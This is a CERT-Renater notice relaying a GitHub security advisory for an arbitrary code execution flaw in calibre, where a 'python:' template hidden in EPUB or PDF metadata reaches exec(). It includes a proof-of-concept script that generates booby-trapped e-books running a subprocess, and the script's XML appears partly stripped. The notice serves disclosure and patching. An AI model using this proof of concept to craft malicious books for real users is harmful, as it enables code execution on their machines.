Ce mail provient de l'extérieur, restons vigilants ===================================================================== CERT-Renater Note d'Information No. 2026/VULN691 _____________________________________________________________________ DATE : 29/06/2026 HARDWARE PLATFORM(S): / OPERATING SYSTEM(S): Systems running Calibre versions prior to 9.10.0. ===================================================================== https://github.com/kovidgoyal/calibre/security/advisories/GHSA-2j4m-2q7x-2c47 _____________________________________________________________________ Arbitrary Code Execution in Template Formatter via Book Metadata High kovidgoyal published GHSA-2j4m-2q7x-2c47 Package calibre Affected versions <= 9.9.0 Patched versions 9.10.0 Description Summary A malicious EPUB, OPF or PDF file can execute arbitrary Python code when its metadata is read by calibre (e.g. Add books, Edit books). The file embeds a custom column definition with a python: template in calibre:user_metadata, which is passed unsanitized to exec() in the template formatter. Details When calibre reads book metadata, read_user_metadata parses custom column definitions via json.loads() and stores them verbatim through set_user_metadata(), including executable template strings, with no validation or sanitization. calibre/src/calibre/ebooks/metadata/opf2.py Lines 672 to 688 in 636c56b def read_user_metadata(self): self._user_metadata_ = {} temp = Metadata('x', ['x']) from calibre.ebooks.metadata.book.json_codec import decode_is_multiple from calibre.utils.config import from_json elems = self.root.xpath('//*[name() = "meta" and starts-with(@name,' '"calibre:user_metadata:") and @content]') for elem in elems: name = elem.get('name') name = ':'.join(name.split(':')[2:]) if not name or not name.startswith('#'): continue fm = elem.get('content') try: fm = json.loads(fm, object_hook=from_json) decode_is_multiple(fm) temp.set_user_metadata(name, fm) calibre/src/calibre/ebooks/metadata/xmp.py Lines 176 to 192 in 636c56b def read_user_metadata(mi, root): from calibre.ebooks.metadata.book.json_codec import decode_is_multiple from calibre.utils.config import from_json fields = set() for item in XPath('//calibre:custom_metadata')(root): for li in XPath('./rdf:Bag/rdf:li')(item): name = XPath('descendant::calibreCC:name')(li) if name: name = name[0].text if name.startswith('#') and name not in fields: val = XPath('descendant::rdf:value')(li) if val: fm = val[0].text try: fm = json.loads(fm, object_hook=from_json) decode_is_multiple(fm) mi.set_user_metadata(name, fm) composite_template Evaluated immediately on metadata read when a composite custom column has #value#: null: calibre/src/calibre/ebooks/metadata/book/base.py Lines 146 to 157 in 636c56b if field in _data['user_metadata']: d = _data['user_metadata'][field] val = d['#value#'] if val is None and d['datatype'] == 'composite': from calibre.utils.formatter import TEMPLATE_ERROR d['#value#'] = 'RECURSIVE_COMPOSITE FIELD (Metadata) ' + field val = d['#value#'] = self.formatter.safe_format( d['display']['composite_template'], self, TEMPLATE_ERROR, self, column_name=field, template_cache=self.template_cache).strip() This reaches exec() through the call chain: safe_format() → evaluate() → _eval_python_template() → compile_python_template() → exec(). calibre/src/calibre/utils/formatter.py Lines 1879 to 1893 in 636c56b def compile_python_template(self, template): if os.environ.get('CALIBRE_ALLOW_PYTHON_TEMPLATES', '1') != '1': raise ValueError(_('Python templates disallowed by the {} environment variable' ).format('CALIBRE_ALLOW_PYTHON_TEMPLATES')) def replace_func(mo): return mo.group().replace('\t', ' ') prog ='\n'.join([re.sub(r'^\t*', replace_func, line) for line in template.splitlines()]) locals_ = {} if DEBUG and tweaks.get('enable_template_debug_printing', False): print(prog) try: exec(prog, locals_) CALIBRE_ALLOW_PYTHON_TEMPLATES defaults to '1' (enabled), so compile_python_template() passes the check and continues to exec(). PDF via XMP metadata For PDF files, calibre reads XMP metadata via pdfinfo, then consolidate_metadata() calls metadata_from_xmp_packet() which parses calibre:custom_metadata the same way: calibre/src/calibre/ebooks/metadata/pdf.py Lines 165 to 167 in 636c56b if 'xmp_metadata' in info: from calibre.ebooks.metadata.xmp import consolidate_metadata mi = consolidate_metadata(mi, info) PoC poc.mp4 @private-user-images.githubusercontent.com poc.py import json, os, zipfile from xml.sax.saxutils import quoteattr, escape from pypdf import PdfWriter from pypdf.generic import DecodedStreamObject, NameObject PAYLOAD = '''python: def evaluate(book, context): import sys, subprocess if sys.platform.startswith('win'): subprocess.Popen('calc.exe') elif sys.platform == 'darwin': subprocess.Popen(['open', '-a', 'Calculator']) return '' ''' ## epub fm = {"datatype": "composite", "is_multiple": None, "name": "aaaa", "label": "aaaa", "is_custom": True, "kind": "field", "is_editable": True, "#value#": None, "display": {"composite_template": PAYLOAD, "composite_sort": "text", "use_decorations": 0, "make_category": False, "contains_html": False}} opf = ('\n' '\n' ' \n' ' Test Book\n' ' aaaaaaaa\n' ' 12345678-1234-1234-1234-123456789abc\n' ' \n' ' \n' ' \n' ' \n' '\n') container = ('\n' '\n' ' \n' '\n') out = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'aaaa.epub') with zipfile.ZipFile(out, 'w', zipfile.ZIP_DEFLATED) as z: z.writestr('mimetype', 'application/epub+zip', compress_type=zipfile.ZIP_STORED) z.writestr('META-INF/container.xml', container) z.writestr('OEBPS/content.opf', opf) z.writestr('OEBPS/t.html', 'hi') print(f'[*] open {out}') ## pdf fm_json = escape(json.dumps(fm)) xmp = ('\n' '\n' ' \n' ' \n' ' \n' ' \n' ' \n' ' #aaaa\n' ' ' + fm_json + '\n' ' \n' ' \n' ' \n' ' \n' ' \n' '\n' '').encode('utf-8') writer = PdfWriter() writer.add_blank_page(width=612, height=792) meta_stream = DecodedStreamObject() meta_stream.set_data(xmp) meta_stream.update({ NameObject("/Type"): NameObject("/Metadata"), NameObject("/Subtype"): NameObject("/XML"), }) writer._root_object[NameObject("/Metadata")] = writer._add_object(meta_stream) pdf_out = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'aaaa.pdf') writer.write(pdf_out) print(f'[*] open {pdf_out}') Run poc.py, then open aaaa.epub or aaaa.pdf in calibre. Impact Same as the summary above. Severity High 8.5/ 10 CVSS v4 base metrics Exploitability Metrics Attack Vector Local Attack Complexity Low Attack Requirements None Privileges Required None User interaction Passive Vulnerable System Impact Metrics Confidentiality High Integrity High Availability High Subsequent System Impact Metrics Confidentiality None Integrity None Availability None CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N CVE ID CVE-2026-53511 Weaknesses Weakness CWE-94 Weakness CWE-95 Credits @hyuunnn hyuunnn Reporter ========================================================= + CERT-RENATER | tel : 01-53-94-20-44 + + 23/25 Rue Daviel | fax : 01-53-94-20-41 + + 75013 Paris | email:cert@support.renater.fr + =========================================================